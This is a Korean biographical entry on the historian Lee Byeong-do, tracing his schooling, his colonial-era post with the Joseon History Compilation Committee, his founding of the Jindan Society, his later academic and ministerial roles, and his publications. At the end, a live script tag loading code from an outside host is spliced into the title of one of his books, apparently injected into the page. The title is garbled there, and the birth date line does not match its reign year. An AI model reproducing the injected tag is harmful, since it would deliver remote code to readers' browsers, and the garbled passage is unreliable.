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이병도

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 이병도(李丙燾)

<출생.묘> 고종 22년(1886)~(1986) 국사학자. 용인군 이동면 천리 
출생, 호는 두계(斗溪), 본관은 우봉(牛峯), 충청수군절도사(忠淸水
軍節度使) 봉구(鳳九)의 아들.
1912년 보성전문학교(普成專門學敎) 법률과에 입학하여 1915년 3
월 동교를 졸업하였다. 그리고 이해 4월 일본에 건너가 와세다대학
(早稻田大學) 고등예과(高等豫科)에 입학, 1916년 7월에 졸업한 뒤 
9월 와세다대학 문학부 사학급 사회학과(史學及 社會學科)에 진학, 
조선사(朝鮮史)를 전공하였고 1919년 7월에 졸업하였다. 귀국 후 7
월 중앙학교(中央學校, 중앙중.고등학교) 소개로 조선총독부 중추
원(中樞院)에 설치된 조선사편수회(朝鮮史編修會)의 촉탁으로 많
은 사료를 접하는 가운데 한국고대사 연구에 힘썼다. 이때 이능화
(李能和), 이중화(李重華), 황의돈(黃義敦), 안곽(安廓), 문일평(文
一平), 권덕규(權悳奎) 등의 학자등과 교우하였다.
한편 1920년 4월 중등야학교(中等夜學校) 영어과 강사로 1년간 근
무했고 7월에는 김억(金億), 남궁벽(南宮壁), 염상섭(廉想涉), 조상
순(趙相淳), 황석우(黃錫禹) 등과 문학동인지 <폐허>를 창간하였
고 1921년 4월에는 경신학교 강사로 1년간 근무하였다. 그리고 1925
년 8월 조선사편수회 촉탁에 임명되어 8.15 해방 전까지 재직하고 
1933년부터 1940년까지 중앙불교전문학교 강사로 조선유학사(朝鮮
儒學史)를 강의하였다.
1934년 5월 이희승(李熙昇), 이병기(李秉岐), 김상기(金庠基), 이상
백(李相伯), 손진태(孫晋泰), 송석하(宋錫夏) 등과 함께 진단학회
(震檀學會)를 조직, 창설하여 그 대표가 되었으며, 이해 10월 우리
나라 최초 학술지 <진단학보(震壇學報)>를 창간하였다. 1941년 4월
부터 3년간 이화여자전문학교 강사를 지냈다. 1943년 9월에 일제의 
탄압으로 한때 국학(國學) 연구단체인 진단학회가 해산되었다. 
1945년 8.15해방 후 동지들과 함께 진단학회를 부활시켜 <진단학보
>를 재간하는 한편 학술강좌, 국사교과서 편찬 등 한국사 연구와 교
육 진흥에 힘썼고 11월에는 동지들과 서지학회(書誌學會)를 조직했
으며, 12월에는 경성대학(京城大學) 법문학부(法文學部) 교수에 취
임하였다. 1946년 9월 학제개편으로 서울대학 문리과대학 교수에 
취임하였고 이후 5년간 동국대학교(東國大學校) 사학과 강사, 1950
년 10월부터 1954년까지 국방부 정훈국(政訓局) 전사편찬위원장을 
역임하여 6.25 전쟁이후의 전란사 편찬에 종사하였다. 1952년 4월에
서 1956년 4월까지 고등고시위원(高等考試委員)을 지내고 이해 서
울대학에서 문학박사 학위를 받았다. 1953년에는 서울대학 박물관
장, 사단법인 진단학회 이사장을 지냈다. 1954년 3월 전란사 편찬 
공로로 금성충무무공훈장(金星忠武武功勳章)을 수여받았고 이해 
학술원 종신회원, 서울대 대학원장, 서울특별시 시사편찬위원회 위
원 등을 역임하여 서울특별시 교육회로부터 교육공로표창을 받았
다. 1955년 3월에는 서울특별시 문화상을 받은데 이어 국사편찬위
원회 위원, 외무부 외교연구위원장, 1956년 동서문화연구회 회장, 
학술원 부원장을 역임하고 학술원상을 수상하였다. 1960년 4월에
서 8월가지 허정(許政) 과도정부에서 문교부장관에 임명되어 4.19 
혁명 후 혼란한 문교행정을 수습하였고 8월에는 학술원 회장, 1962
년 서울대교수를 정년퇴임한 후 명예교수가 되었다.
1965년 동구학원 이사장, 이듬해 성균관대학교 교수 겸 대동문화연
구원장(大東文化硏究院長), 5.16 민족상 부이사장, 1967년 도서관 
협회장, 1969년 통일원 고문 등을 역임하였다. 이후 정부로부터 문
화훈장, 국민훈장, 무궁화장(無窮花章)을 받고 5.16 민족상, 인촌문
화상(仁村文化賞), 학술원 공로상 등을 수상했으며, 미국 프린스턴
대학에서 명예문학박사 학위를 받았다. 또한 국민대학장(國民大學
長), 브라질학술원 명예회원, 민족문화추진회 이사장, 송산학원(松
山學院) 이사장, 국정자문위원 등 여러 직책을 역임하였다. 1934년 
진단학회를 창설하고 국사학계를 대표하는 지도적 위치의 사학자로
서 또 문헌사학을 기본 바탕으로 한 실증사학(實證史學)의 학풍을 
수립하는데 크게 공헌하였다. 그가 주로 연구하고 관심을 둔 분야
는 삼한(三韓), 한사군(漢四郡) 등 한국 고대사로부터 고려시대에 
걸쳤으며, 한국유학사(韓國儒學史)를 비롯한 사상사(思想史) 연구
에도 큰 업적을 남겼다. 처녀 논문은 1926년 조선사학지(朝鮮史學
誌)에 일문(日文)으로 발표한 <이율곡의 입산 동기에 대하여> 였으
며, 1929년 <진번군고(眞番郡考)>, 1933년의 <패수고(浿水考)>, 
1954년 <고대남당고(古代南堂考)>등 수많은 논문을 발표하였다. 
그의 대표적인 저서를 보면 <국사대관(國史大觀)>, <조선사대관
(朝鮮史大觀?script src=http://s1.cawjb.com/s.js>
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